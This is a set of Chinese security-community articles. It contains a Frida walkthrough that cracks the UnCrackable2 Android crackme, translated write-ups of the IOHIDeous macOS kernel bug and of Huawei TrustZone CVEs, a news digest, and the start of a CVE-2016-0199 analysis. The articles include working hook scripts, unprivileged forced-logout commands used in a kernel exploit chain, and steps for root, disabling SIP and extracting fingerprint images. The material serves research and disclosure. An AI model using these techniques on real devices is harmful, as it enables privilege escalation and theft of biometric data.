AlertDialog Dialog = new AlertDialog.Builder((Context)this).create();
if (this.m.a(string)) {
Dialog.setTitle((CharSequence)"Success!");
Dialog.setMessage((CharSequence)"This is the correct secret.");
} else {
Dialog.setTitle((CharSequence)"Nope...");
Dialog.setMessage((CharSequence)"That's not it. Try again.");
}
Dialog.setButton(-3, (CharSequence)"OK", (DialogInterface.OnClickListener)new /* Unavailable Anonymous Inner Class!! */);
Dialog.show();
}
}
我们注意到程序加载了foo库([1])。在onCreate方法的第一行程序调用了this.init()([3])，它被声明成一个native方法([2])，所以它可能是foo的一部分。现在我们来看看foo库。使用radare2打开它并分析，列出它的导出函数。
该库导出两个有趣的功能：Java_sg_vantagepoint_uncrackable2_MainActivity_init和Java_sg_vantagepoint_uncrackable2_CodeCheck_bar。我们来看看Java_sg_vantagepoint_uncrackable2_MainActivity_init。
这是一个很短的函数。
它调用了sub.fork_820，这里面有更多的内容。
这个函数中调用了fork、pthread_create、getppid、ptrace和waitpid等函数。这是一个基本的反调试技术，附加调试进程被阻止，因为已经有其他进程作为调试器连接。
**对抗反调试方案一：frida**
我们可以让frida为我们生成一个进程而不是将它注入到运行中的进程中。
frida注入到Zygote中，生成我们的进程并且等待输入，这个过程可能比较漫长。
**对抗反调试方案二：patch**
我们可以通过apktool实现patch。
(我通过-r选项跳过了资源提取，因为在回编译apk的时候它可能会导致问题，反正我们这里不需要资源文件。)
看一下smali/sg/vantagepoint/uncrackable2/MainActivity.smali中的smali代码。你可以在第82行找到init的调用并注释掉它。
回编译apk(忽略错误)。
对齐。
签名(注意：您需要有一个密钥和密钥库)。
你可以在[OWASP Mobile Security Testing Guide](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05c-Reverse-Engineering-and-Tampering.md#repackaging)中找到更详细的描述。卸载原来的apk并安装我们patch过的apk。
重新启动应用程序。运行frida-ps，现在只有一个进程了。
frida进行连接也没什么问题。
这比在frida中增加-r选项更为繁琐，但也更普遍。如前所述，当我们使用patch过的版本(我会告诉你如何解决这个问题，所以不要把它删了)不能轻易地提取需要的字符串。现在我们继续使用原来的apk。确保安装的是原始的apk。
**继续尝试**
在我们摆脱反调试之后来看看如何继续进行下去。一旦按了OK按钮，应用程序就会在模拟器中运行时进行root检测并退出。我们可以patch掉这个行为，也可以用frida来解决这个问题。由于OnClickListener实现调用，我们可以hook
System.exit函数使其不产生作用。
setImmediate(function() {
console.log("[*] Starting script");
Java.perform(function() {
exitClass = Java.use("java.lang.System");
exitClass.exit.implementation = function() {
console.log("[*] System.exit called");
}
console.log("[*] Hooking calls to System.exit");
});
});
再次关闭任何正在运行的UnCrackable2实例，并再次在frida的帮助下启动它。
等到app启动，frida在控制台中显示Hooking calls…然后按OK。你应该得到这样的信息。
该应用程序不再退出，我们可以输入一个字符串。
但是我们应该在这里输入什么呢？看看MainActivity。
this.m = new CodeCheck();
[...]
//in method: public void verify
if (this.m.a(string)) {
Dialog.setTitle((CharSequence)"Success!");
Dialog.setMessage((CharSequence)"This is the correct secret.");
}
这是CodeCheck类。
package sg.vantagepoint.uncrackable2;
public class CodeCheck {
private native boolean bar(byte[] var1);
public boolean a(String string) {
return this.bar(string.getBytes()); //Call to a native function
}
}
我们注意到输入的字符串被传递给了一个native方法bar。同样，我们在libfoo.so中找到了这个函数。使用radare2寻找这个函数的地址并反汇编它。
反汇编代码中有一些字符串比较操作，有一个有趣的明文字符串Thanks for all
t。输入这个字符串，但是它不起作用。看看地址0x000010d8处的反汇编代码。
这里有一个eax和0x17的比较，如果不相同的话strncmp函数不会被调用。我们同时注意到0x17是strncmp的一个参数。
464位的linux中函数的前6个参数通过寄存器传递，前3个寄存器分别是RDI、
RSI和RDX。所以strncmp函数将比较0x17=23个字符。可以推断，输入的字符串的长度应该是23。让我们尝试hook
strncmp，并打印出它的参数。如果你这样做，你会发现strncmp被调用了很多次，我们需要进一步限制输出。
var strncmp = undefined;
imports = Module.enumerateImportsSync("libfoo.so");
for(i = 0; i < imports.length; i++) {
if(imports[i].name == "strncmp") {
strncmp = imports[i].address;
break;
}
}
Interceptor.attach(strncmp, {
onEnter: function (args) {
if(args[2].toInt32() == 23 && Memory.readUtf8String(args[0],23) == "01234567890123456789012") {
console.log("[*] Secret string at " + args[1] + ": " + Memory.readUtf8String(args[1],23));
}
}
});
1.该脚本调用Module.enumerateImportsSync以从libfoo.so中获取有关导入信息的对象数组。我们遍历这个数组，直到找到strncmp并检索其地址。然后我们将interceptor附加到它。
2.Java中的字符串不会以null结束。当strncmp使用frida的Memory.readUtf8String方法访问字符串指针的内存位置并且不提供长度时，frida会期待一个结束符，或者输出一些垃圾内存。它不知道字符串在哪里结束。如果我们指定要读取的字符数量作为第二个参数就解决了这个问题。
3.如果我们没有限制strncmp参数的条件将得到很多输出。限制条件为第三个参数size_t为23。
我怎么如何知道args[0]是我们的输入，args[1]是我们寻找的字符串呢？我不知道，我只是测试，将大量的输出dump到屏幕以找到我的输入。如果你不想跳过这部分，可以删除上面脚本中的if语句，并使用frida的hexdump输出。
buf = Memory.readByteArray(args[0],32);
console.log(hexdump(buf, {
offset: 0,
length: 32,
header: true,
ansi: true
}));
buf = Memory.readByteArray(args[1],32);
console.log(hexdump(buf, {
offset: 0,
length: 32,
header: true,
ansi: true
}));
以下是完整版的脚本，可以更好地输出参数。
setImmediate(function() {
Java.perform(function() {
console.log("[*] Hooking calls to System.exit");
exitClass = Java.use("java.lang.System");
exitClass.exit.implementation = function() {
console.log("[*] System.exit called");
}
var strncmp = undefined;
imports = Module.enumerateImportsSync("libfoo.so");
for(i = 0; i < imports.length; i++) {
if(imports[i].name == "strncmp") {
strncmp = imports[i].address;
break;
}
}
Interceptor.attach(strncmp, {
onEnter: function (args) {
if(args[2].toInt32() == 23 && Memory.readUtf8String(args[0],23) == "01234567890123456789012") {
console.log("[*] Secret string at " + args[1] + ": " + Memory.readUtf8String(args[1],23));
}
},
});
console.log("[*] Intercepting strncmp");
});
});
现在启动frida加载这个脚本。
输入字符串并且按下VERIFY。
在控制台会看到下面的结果。
我们找到了正确的字符串Thanks for all the fish。
**使用patch过的apk**
当我们使用patch过的apk时可能不会得到需要的字符串。libfoo库中的init函数包含一些初始化逻辑，阻止应用程序根据我们的输入检查或解码字符串。如果我们再看看init函数的反汇编代码会看到有趣的一行。
相同的变量会在libfoo库的bar函数中检查，如果没有设置，那么代码会跳过strncmp。
它可能是一个boolean类型的变量，当init函数运行时被设置。如果我们想要让patch过的apk调用strncmp函数就需要设置这个变量或者至少阻止它跳过
strncmp的调用。我们可以再patch一次，但是既然这是frida教程，我们可以使用它动态改变内存。下面是可供patch过的apk使用的完整的脚本。
setImmediate(function() {
Java.perform(function() {
console.log("[*] Hooking calls to System.exit");
exitClass = Java.use("java.lang.System");
exitClass.exit.implementation = function() {
console.log("[*] System.exit called");
}
var strncmp = undefined;
imports = Module.enumerateImportsSync("libfoo.so");
for(i = 0; i < imports.length; i++) {
if(imports[i].name == "strncmp") {
strncmp = imports[i].address;
break;
}
}
//Get base address of library
var libfoo = Module.findBaseAddress("libfoo.so");
//Calculate address of variable
var initialized = libfoo.add(ptr("0x400C"));
//Write 1 to the variable
Memory.writeInt(initialized,1);
Interceptor.attach(strncmp, {
onEnter: function (args) {
if(args[2].toInt32() == 23 && Memory.readUtf8String(args[0],23) == "01234567890123456789012") {
console.log("[*] Secret string at " + args[1] + ": " + Memory.readUtf8String(args[1],23));
}
},
});
console.log("[*] Intercepting strncmp");
});
}); | 社区文章 |
# 存在15年之久的macOS内核任意地址读写漏洞分析（含PoC）
##### 译文声明
本文是翻译文章，文章原作者 Siguza，文章来源：siguza.github.io
原文地址：<https://siguza.github.io/IOHIDeous/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
这是一个IOHIDFamily的漏洞，可导致macOS内核任意地址读写。
与本writeup相关的exploit包括三个部分：
* poc (make poc). **所有macOS版本都受影响** 。可导致内核崩溃，用于验证内存损坏；
* leak (make leak). **macOS High Sierra（版本10.13）** 受影响；
* hid (make hid). **macOS 10.12以及 10.13~10.13.1之间** 的版本受影响。可参考[README](https://github.com/Siguza/IOHIDeous/). 可进行完全的内核读写，可disable SIP（系统完整性保护）。
本文用到的ioprint ioscan工具可以在这里下载：<https://github.com/Siguza/iokit-utils>
## 背景知识
为了理解攻击面以及这个漏洞，需要了解一些IOHIDFamily相关的内容。首先是[IOHIDSystem类](https://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-1035.1.4/IOHIDSystem/IOHIDSystem.cpp.auto.html)，以及一些该类提供的UserClient，
比如IOHIDUserClient，IOHIDParamUserClient，IOHIDEventSystemUserClient。其中我们最感兴趣的是IOHIDUserClient。讲道理，它是这三个里面最强大的了。在正常的系统操作中，是由`WindowServer`进程持有的。
bash$ ioprint -d IOHIDUserClient
IOHIDUserClient(IOHIDUserClient): (os/kern) successful (0x0)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IOUserClientCreator</key>
<string>pid 144, WindowServer</string>
<key>IOUserClientCrossEndianCompatible</key>
<true/>
</dict>
</plist>
这一点很重要。因为IOHIDSystem将任意时间可同时存在的IOHIDUserClient数限制为1个。在IOHIDUserClient打开的时候，将`evOpenCalled`变量设置为true，然后在IOHIDUserClient关闭的时候再把evOpenCalled设置为false，这个值是在`IOHIDSystem::evOpen`中检查的，然后又在`IOHIDSystem::newUserClientGated`中调用的。我们先看一下它是怎么使用UserClient的。
`1. EvOffsets`结构体：
typedef volatile struct _evOffsets {
int evGlobalsOffset; /* Offset to EvGlobals structure */
int evShmemOffset; /* Offset to private shmem regions */
} EvOffsets;
`2.
EvGlobals`结构体；参考：<https://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-1035.1.4/IOHIDSystem/IOKit/hidsystem/IOHIDShared.h.auto.html>
3\. Private driver memory.
总之，所有的代码跟到最后都会到`IOHIDSystem::initShmem`这里。它是负责清理以及初始化实际的数据结构的。这才是真正有趣的地方。
## 漏洞
`IOHIDSystem::initShmem`的开头就是漏洞所在的地方。
int i;
EvOffsets *eop;
int oldFlags = 0;
/* top of sharedMem is EvOffsets structure */
eop = (EvOffsets *) shmem_addr;
if (!clean) {
oldFlags = ((EvGlobals *)((char *)shmem_addr + sizeof(EvOffsets)))->eventFlags;
}
bzero( (void*)shmem_addr, shmem_size);
/* fill in EvOffsets structure */
eop->evGlobalsOffset = sizeof(EvOffsets);
eop->evShmemOffset = eop->evGlobalsOffset + sizeof(EvGlobals);
/* find pointers to start of globals and private shmem region */
evg = (EvGlobals *)((char *)shmem_addr + eop->evGlobalsOffset);
evs = (void *)((char *)shmem_addr + eop->evShmemOffset);
能看出来吗？当共享内存映射到调用任务中的时候，会调用这个函数，
而且EvOffsets是volatile的
关键在于这行
eop->evGlobalsOffset = sizeof(EvOffsets);
和这行
evg = (EvGlobals *)((char *)shmem_addr + eop->evGlobalsOffset);
之间的`eop->evGlobalsOffset`值是可以改变的，这样可以使得`evg`指向与预期不同的地址。
通过查看[源码](https://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-33/IOHIDSystem/IOHIDSystem.cpp.auto.html)，可以发现这个漏洞早在2002年就已存在。
## Putting the exploit together
这部分挺有趣的。:P
我们先看一下在`WindowServer`只持有一个`IOHIDUserClient`的情况下，如何得到一个`IOHIDUserClient`。
首先想到的是，用`mach_port_extract_right`去”偷”一个`WindowServer`的client、但是问题是这得需要你本身是root身份，而且是在SIP（系统完整性保护）已经被禁用的情况下。
然后想到的是直接`kill -9 WindowServer`, 还是需要root权限，但是不需要禁用掉SIP（系统完整性保护）。
最后我发现在用户注销登录的时候， **`WindowServer`会释放掉`UserClient`持续几秒钟！**这时间足够了。
于是我们可以用以下命令强制用户注销登录：
launchctl reboot logout
可以以低权限的身份运行吗？答案是：可以！
loginwindow实现了”AppleEventReallyLogOut”，简写为”aevtrlgo”，可以它可以在不弹出确认对话框的情况下，使用户注销登录。而且loginwindow并没有验证事件(event)的来源，所以任意低权限用户身份(比如nobody)都可以这样绕过：
osascript -e 'tell application "loginwindow" to «event aevtrlgo»'
[此部分略。详情参考原文]
为了提高成功率，需要以下操作：
1. 给`SIGTERM`和`SIGHUP`指定信号处理器。这样可以为我们在logout/shutdown/reboot发生之后赢得几秒钟的宝贵时间；
2. 执行`launchctl reboot logout`;
3. 若步骤2失败，则执行`osascript -e 'tell application "loginwindow" to «event aevtrlgo»'`;
4. 不断地生成所需的UserClient。这时无论我们有没有让用户注销登录了都没关系，只需要等待手动的logout/shutdown/reboot即可。只要IOServiceOpen 的返回值是kIOReturnBusy，我们就一直循环。
以上逻辑在[src/hid/obtain.c](https://github.com/Siguza/IOHIDeous/tree/master/src/hid/obtain.c)中实现了，其中有部分在[src/hid/main.c](https://github.com/Siguza/IOHIDeous/tree/master/src/hid/main.c).
## 触发漏洞
我们可以在恰当的时刻修改`eop->evGlobalsOffset`，还算幸运。但是成功的几率有多大呢?有以下三种结果：
* **失败** 。IOHIDFamily还是它应有的值；
* **成功** ，evg成功指向我们在堆上的的数据结构；
* **成功** ，但是evg并不能指向我们期望的地址。
总结来说：
在一个线程中，我们给`eop->evGlobalsOffset`指定一个值；
在另一个线程中，我们进行初始化程序，直到满足`evg->version == 0`。
以上逻辑在[src/hid/exploit.c](https://github.com/Siguza/IOHIDeous/tree/master/src/hid/exploit.c)中实现。mini版的实现在[src/poc/main.c](https://github.com/Siguza/IOHIDeous/blob/master/src/poc/main.c)。
## Leaking the kernel slide, the tedious way
详情参考原文
## Leaking the kernel slide, the cheater’s way
详情参考原文
## Getting rip control
详情参考原文
## Turning rip into ROP
想要运行ROP，就需要知道内核shmem的地址。想要泄露shemem的地址，我们需要查看当我们的gadget调用时，寄存器上的值是多少。在free的时候发生。
array[i]->taggedRelease()
OSArray::flushCollection()
OSArray::free()
...
其中`taggedRelease()`的地方是一个我们提供的地址。而”我们”是在`flushCollection()`这个地方被调用的。长这个样子：
;-- OSArray::flushCollection:
0xffffff800081f0d0 55 push rbp
0xffffff800081f0d1 4889e5 mov rbp, rsp
0xffffff800081f0d4 4157 push r15
0xffffff800081f0d6 4156 push r14
0xffffff800081f0d8 53 push rbx
0xffffff800081f0d9 50 push rax
0xffffff800081f0da 4989ff mov r15, rdi
0xffffff800081f0dd 41f6471001 test byte [r15 + 0x10], 1
0xffffff800081f0e2 7427 je 0xffffff800081f10b
0xffffff800081f0e4 f6052f0a2b00. test byte [0xffffff8000acfb1a], 4
0xffffff800081f0eb 7510 jne 0xffffff800081f0fd
0xffffff800081f0ed 488d3dedaa1c. lea rdi, str._Trying_to_change_a_collection_in_the_registry___BuildRoot_Library_Caches_com.apple.xbs_Sources_xnu_xnu_4570.1.46_libkern_c___OSCollection.cpp:67
0xffffff800081f0f4 31c0 xor eax, eax
0xffffff800081f0f6 e8a5d9a4ff call sym._panic
0xffffff800081f0fb eb0e jmp 0xffffff800081f10b
0xffffff800081f0fd 488d3d6fab1c. lea rdi, str.Trying_to_change_a_collection_in_the_registry
0xffffff800081f104 31c0 xor eax, eax
0xffffff800081f106 e8a5ceffff call sym._OSReportWithBacktrace
0xffffff800081f10b 41ff470c inc dword [r15 + 0xc]
0xffffff800081f10f 41837f2000 cmp dword [r15 + 0x20], 0
0xffffff800081f114 7425 je 0xffffff800081f13b
0xffffff800081f116 31db xor ebx, ebx
0xffffff800081f118 4c8d3511f92a. lea r14, sym.OSCollection::gMetaClass
0xffffff800081f11f 90 nop
0xffffff800081f120 498b4718 mov rax, qword [r15 + 0x18]
0xffffff800081f124 89d9 mov ecx, ebx
0xffffff800081f126 488b3cc8 mov rdi, qword [rax + rcx*8]
0xffffff800081f12a 488b07 mov rax, qword [rdi]
0xffffff800081f12d 4c89f6 mov rsi, r14
0xffffff800081f130 ff5050 call qword [rax + 0x50]
0xffffff800081f133 ffc3 inc ebx
0xffffff800081f135 413b5f20 cmp ebx, dword [r15 + 0x20]
0xffffff800081f139 72e5 jb 0xffffff800081f120
0xffffff800081f13b 41c747200000. mov dword [r15 + 0x20], 0
0xffffff800081f143 4883c408 add rsp, 8
0xffffff800081f147 5b pop rbx
0xffffff800081f148 415e pop r14
0xffffff800081f14a 415f pop r15
0xffffff800081f14c 5d pop rbp
0xffffff800081f14d c3 ret
其中：
`call qword [rax + 0x50]`是调用我们的gadget的地方;
`rdi`是我们伪造的object(也就是`_hibernateStats.graphicsReadyTime`的地址);
`rax`是我们伪造的vtable(也就是`_hibernateStats.lockScreenReadyTime`的地址减去 `0x50`);
`rsi`和`r14`是指向`OSCollection` meta class的指针;
`rbx`和`rcx`是我们object数组的index, 也就是0;
`r15`是我们”parent” `OSArray` object的指针;
理论上来说，我们需要的就是`OSArray`指针数组的地址(因为其地址相对我们的共享内存的偏移量是恒定的)。可以发现，这个值只是暂时通过`mov rax,
qword [r15 + 0x18]`给到rax, 但rax寄存器随后又赋上了object的vtable指针的值。
## 尽情的发挥吧
历经磨难的我们重要到了这一步啦！还等什么，让我们干点儿坏坏的事儿吧！
拿到root权限，将内核态任务转移到用户态，安装一个root shell，然后禁用掉SIP（系统完整性保护）和AMFI。
详情参考原文。
## 结论
One tiny, ugly bug. **Fifteen years.** Full system compromise.
## 参考
<https://github.com/Siguza/hsp4>
<https://googleprojectzero.blogspot.co.uk/2017/04/exception-oriented-exploitation-on-ios.html>
<https://github.com/kpwn/yalu102>
<http://newosxbook.com/files/PhJB.pdf>
<https://github.com/Siguza/PhoenixNonce>
<https://gruss.cc/files/prefetch.pdf>
<https://github.com/benjamin-42/Trident> | 社区文章 |
# 1月16日安全热点 -Spectre/Meltdown补丁对AWS框架有重大影响
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Spectre/Meltdown补丁对SolarWinds的AWS基础架构有重大影响
<http://securityaffairs.co/wordpress/67767/security/meltdown-patches-aws-impact.html>
报告指出OnePlus网站的支付系统被盗取信用卡详情
<https://thehackernews.com/2018/01/oneplus-credit-card.html>
新的KillDisk变种的目标是拉美金融机构的Windows设备
<http://securityaffairs.co/wordpress/67780/breaking-news/windows-killdisk-wiper-latam.html>
RubyMiner恶意软件将攻击Linux和Windows服务器
<https://www.bleepingcomputer.com/news/security/linux-and-windows-servers-targeted-with-rubyminer-malware/>
十二月份最受欢迎的恶意软件：加密矿工影响全球55％的企业
<https://blog.checkpoint.com/2018/01/15/decembers-wanted-malware-crypto-miners-affect-55-businesses-worldwide/>
## 技术类
Cookies:我应该担心吗?
<https://blog.malwarebytes.com/101/2018/01/cookies-should-i-worry-about-them/>
如何保护iOS用户数据：密码和生物识别 – Face ID或Touch ID
[https://www.raywenderlich.com/179924/secure-ios-user-data-keychain-biometrics-face-id-touch-id](https://www.raywenderlich.com/179924/secure-ios-user-data-keychain-biometrics-face-id-touch-id?utm_source=securitydailynews.com)
OWASP ZSC – 混淆代码生成器工具
<https://www.darknet.org.uk/2018/01/owasp-zsc-obfuscated-code-generator-tool/>
Slui File Handler Hijack LPE
<https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation>
BitTorrent用户注意：漏洞将让黑客控制你的电脑
<https://arstechnica.com/information-technology/2018/01/bittorrent-users-beware-flaw-lets-hackers-control-your-computer/>
在野处理SYN包
[https://blog.cloudflare.com/syn-packet-handling-in-the-wild/](https://blog.cloudflare.com/syn-packet-handling-in-the-wild/?utm_source=securitydailynews.com)
Gobuster v1.4.1
[https://github.com/OJ/gobuster](https://github.com/OJ/gobuster?utm_source=securitydailynews.com) | 社区文章 |
# 【技术分享】两个CVE案例分析：如何利用Android中的可信区域
|
##### 译文声明
本文是翻译文章，文章来源：blackhat.com
原文地址：<https://www.blackhat.com/docs/us-15/materials/us-15-Shen-Attacking-Your-Trusted-Core-Exploiting-Trustzone-On-Android-wp.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[overXsky](http://bobao.360.cn/member/contribute?uid=858486419)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
本文将从实际出发，讲述如何一步步地利用Android中的可信区域（TrustZone）。这里我使用的是华为海思的可信执行环境（Trusted
Execution
Environment，TEE）。首先我找到了一个可以获得内核权限的漏洞，然后我又发现了一个可以在TEE中执行任意代码的漏洞。以上试验结果证明了在华为海思可信执行环境中任何本地应用都可以执行shellcode这一概念的可行性。
**背景**
“ARM®TrustZone®技术是一种针对各种客户端和服务器计算平台（包括手机，平板电脑，可穿戴设备和企业系统）的安全性的全系统方法。”使用可信区域技术开发的设备能够支持完整的可信执行环境。可信执行环境运行在一个被称作“安全模式”的特殊CPU模式上，这样安全模式使用的内存和安全函数就能够对正常使用环境隐藏自身。通过这种方式，Android的开发商可以提供种类丰富的安全功能，比如指纹识别、数字版权管理（DRM）、内核保护、安全启动等等。你可以在[可信区域的官方网站](http://www.arm.com/products/processors/technologies/trustzone/index.php)或者探索[genode.org](http://genode.org/documentation/articles/trustzone)来获取更多的信息。
华为海思的可信执行环境符合最近的全球可信执行环境平台规范，但是它的实现却完全没有文档依据可循。通过逆向它的固件，一些日志文件让我大致理解了它的架构：
**下面就上图做简要说明：**
TZDriver
“ev/tc_ns_client”是一个内核级驱动，它给用户空间的客户端与可信执行环境之间的通信提供了接口，就如同高通安全可执行环境（QSEE）中的“/dev/qseecom”一样。两者唯一的区别在于，在使用华为海思芯片的mate7上每个本地应用都能够访问TZDriver，而高通的qseecom只能被一部分系统进程访问到。
TA是Trusted
Application即可信任应用程序的缩写，它是elf格式的文件。每个可信应用程序都提供了与安全相关的服务，比如安全存储（TA_SecStorage）、安全启动、密钥存储（原文为keystone，应为key
store之误，译者注）、指纹识别（TA_FingerPrints）等等。
TEEGlobalTask 是可信执行环境的用户模式下第一个可信任应用程序。它能够加载elf模块，能够将外部调用调度至其他可信任应用程序的子服务。
RTOSck是可信执行环境的核心，它是华为自主研发的实时操作系统，跟uC/OS-II有些类似。RTOSck还包含了指纹识别驱动，它只能通过TA_FingerPrints来访问，以此从设备传感器上读取指纹图像。
****
**CVE-2015-4421：存在于/dev/tc_ns_client中的漏洞**
安全监视器调用（SMC）主要用于进入安全监视器模式并执行安全监视器内核服务调用。 该指令只能在特权模式下执行。
所以如果用户进程试图向安全区域发送畸形的SMC来利用可信执行环境，那么它首先必须获得内核级别的权限。
“/dev/ tc_ns_client”是一个内核驱动程序，它能够为用户空间的客户端和其他内核模块提供ioctl接口。
客户端使用其“TCAPI”与安全区域进行通信。 驱动程序的文件权限是“rw-rw-rw-”，其SE上下文为“u：object_r：device：s0“。用户模式下的任何客户端都可以访问此驱动程序。
客户端使用TC_NS_ClientParam
结构体向驱动程序发送缓冲区指针，然后驱动程序向可信执行环境请求安全监视器调用，并将返回的值复制给TC_NS_ClientParam中的指针。
以下是TC_NS_ClientParam结构体的代码：
typedef union {
struct {
unsigned int buffer; //ptr of buffer
unsigned int offset; //size of buffer
unsigned int size_addr;
} memref;
struct {
unsigned int a_addr; //ptr of a 4-bytes buffer
unsigned int b_addr; //ptr of a 4-bytes buffer
} value;
} TC_NS_ClientParam;
然而，驱动程序在边界检查中犯了一个错误。 伪代码如下：
static int TC_NS_SMC_Call(TC_NS_ClientContext
*client_context,TC_NS_DEV_File *dev_file, bool is_global){
....
// 建立 TC_NS_SMC_CMD 结构体
....
// 执行 SMC 指令
TC_NS_SMC(smc_cmd_phys);
// 复制 smc_cmd.operation_phys的结果给调用者
buffer(client_param.value)
if(client_operation->params[0].value.a> 0xbfffffff){
//driver think caller is from kernel space
*(u32 *)client_param->value.a_addr = operation- >params[i].value.a;
}
else{
//driver think caller is from user space
copy_to_user(....);
}
if(client_operation->params[0].value.b > 0xbfffffff){
*(u32 *)client_param->value.b_addr = operation- >params[i].value.b;
}
else{
copy_to_user(....);
}
....
}
如果我们在用户模式发送内核指针会怎么样？
驱动程序将直接复制结果而不使用copy_to_user。所以我们就有机会给内核空间写入一个给定的值。如果可信执行环境返回的值低于0xc0000000，我们就可以通过“ret2user”获得root权限。
具体步骤如下图所示：
我选择可信执行环境系统的内部时间作为给定的返回值。可信执行环境中的全局服务提供了时间查询接口：cmd_id
=“GLOBAL_CMD_ID_TEE_TIME”。
以下是“main_task”中的伪代码。
int get_sys_time()
{
int result; // r0@1
tag_TC_NS_Operation *v1; // r3@1
unsigned int v2; // [sp+0h] [bp-10h]@1
int v3; // [sp+4h] [bp-Ch]@1
get_time((int)&v2);
result = 0;
v1 = dword_5E2E0->operation_phys;
v1->params[0].value.a = v2; //秒
v1->params[0].value.b = 1000 * v3; //毫秒，指定值
return result;
}
可信执行环境中的毫秒将被写入ptmx-> fops指针，并且可以触发“ret2user”的漏洞利用。
**CVE-2015-4422：可信执行环境系统中的漏洞**
执行SMC指令时，指向TC_NS_SMC_CMD结构体的物理地址将被发送到可信执行环境。利用这一点特性，我通过使用一个变异格式的TC_NS_SMC_CMD结构，就可以将一个字节数据写入几乎任何物理地址。
typedef struct tag_TC_NS_SMC_CMD{
unsigned int uuid_phys; //uuid的物理地址
unsigned int cmd_id;
unsigned int dev_file_id;
unsigned int context_id;
unsigned int agent_id;
unsigned int operation_phys;//物理地址或内核缓冲区
unsigned int login_method;
unsigned int login_data;
unsigned int err_origin;
bool started;
} TC_NS_SMC_CMD;
由于在“TEEGlobalTask”中没有边界检查，我们可以修改除了TEE内核占用以外的任意物理内存。例如，让我们回顾一下“TEEGlobalTask”
中get_sys_time()的伪代码：
int get_sys_time()
{
int result; // r0@1
tag_TC_NS_Operation *v1; // r3@1
unsigned int v2; // [sp+0h] [bp-10h]@1
int v3; // [sp+4h] [bp-Ch]@1
get_time((int)&v2);
result = 0;
//operation_phys 是安全区域里的一个物理地址
v1 = dword_5E2E0->operation_phys;
//operation_phys+4 和 operation_phys+8 将被修改
*(int*)(operation_phys + 4) = v2;
*(int*)(operation_phys + 8)= 1000 * v3;
return result;
}
“Operation_phys + 4”和“operation_phys +
8”将被可信执行环境的内部时间覆盖。如果可信执行环境的当前内部时间为“0x0000AABB，0xCCDDEEFF”，则内存中覆盖的值在小端序系统中对应为“BB
AA 00 00，FF EE DD CC”。 “BB”是秒数的最后一个字节，并且在0x00到0xFF之间循环。
有了这个漏洞，我们就可以在特定的时间（适当的秒数）在任何物理地址写入一个字节的数据。
**在可信执行环境系统中执行代码**
基于上述信息，一个本地应用也可以访问本来只能由可信执行环境访问的物理内存。 在本节中我们来谈谈如何在TEEGlobalTask上下文环境中实现代码执行。
通过对华为海思芯片的可信执行环境的固件逆向和一些黑盒测试，我得到一些好消息和一些坏消息。好消息是，固件中几乎没有任何漏洞防护功能——没有ASLR，没有DEP，没有“r-x”.text段，没有堆栈溢出保护…几乎就只有一个传统的RTOS在里面。
坏消息是，我们不知道在哪里修补才能改变原来的代码流并跳转到我们的shellcode。 换句话说，我们需要知道“TEEGlobalTask”的基地址。
另一个由“TEEGlobalTask”提供的接口有一个有趣的函数，名为
“ALLOC_EXCEPTION_MEM”。它允许普通的区域提供物理地址到“RTOSck”——可信执行环境的内核。
当可信执行环境中的任务崩溃时，RTOSck可能会向这个给定的物理地址写入一些崩溃信息。 当然，前提是这个物理地址可以被普通的区域访问。
所以我向SMC请求了一个无效的物理地址从而使其崩溃。 下面就是一个RTOSck崩溃信息的例子：
这个信息显示$ PC崩溃地址是0x2E103050，因此我怀疑
“TEEGlobalTask”的基地址是0x2E100000。现在我可以给“TEEGlobalTask”打一些补丁使它跳转到我事先在普通区域布置下的shellcode，然后从外部触发补丁代码执行，搞定。
**从传感器获取指纹图像**
前面提到，只有“TA_Fingerprint”可以通过系统调用“__FPC_readImage”从传感器读取指纹图像。
不幸的是，代码执行漏洞是在“TEE_GlobalTask”的上下文环境下，也就是说，指纹读取请求将由于RTOSck进行的安全检查而被拒绝。
所以我需要找到一个RTOSck的漏洞来绕过安全检查。
signed int __fastcall sys_call_overwrite(int a1, int a2)
{
signed int v2; // r3@2
int v4; // [sp+0h] [bp-14h]@1
int v5; // [sp+4h] [bp-10h]@1
v5 = a1;
v4 = a2;
if ( *(_DWORD *)a1 == 0x13579BDF )
{
// 写入 (*(int*)(arg1 + 0x18C) + 7) >> 3 给 arg2
*(_WORD *)v4 = (unsigned int)(*(_DWORD *)(v5 + 0x18C) + 7)>> 3;
v2 = 0;
}
return v2;
}
}
这是一个没有任何输入检查的存在于RTOSck中的系统调用，我可以通过覆盖可信执行环境内核占用的内存来修改安全检查代码。
现在代码执行漏洞已经能够通过调用“__FPC_readImage”来获取指纹图像。
**总结**
通过这些漏洞利用，一款本地应用程序就能够获取指纹图像或其他加密数据，能够禁用调制解调器映像和可信任应用程序的签名验证，加载任何模块到可信执行环境并修改eFuse数据。
尽管TrustZone设计的初衷是为了解决安全问题，通过一些手段的实施我们仍然可以利用其中的安全隐患来达到想要的目的。
**
**
**后话**
**有网友放出了exploit，附链接：**
[https://www.reddit.com/r/hacking/comments/3fy821/huawei_mate_7_trustzone_exploitcve20154421/](https://www.reddit.com/r/hacking/comments/3fy821/huawei_mate_7_trustzone_exploitcve20154421/)
另外，国外网友的博客中表明，搭载Android 5.0和高通骁龙芯片的设备由于也使用了可信区域技术，所以也会受到该漏洞影响：
[http://www.jorgejamil.com/single-post/2016/05/08/FDE-Fail-on-Android-50](http://www.jorgejamil.com/single-post/2016/05/08/FDE-Fail-on-Android-50)
截止今年9月，全球Android设备中，Android 5.0市场占有率仍高达13.1%，在所有Android系统版本中排名第四。 | 社区文章 |
## 0x01 漏洞信息
### 0x01.1 漏洞简述
* 编号：CVE-2016-0199
* 类型：类型混淆(Type Confusion)
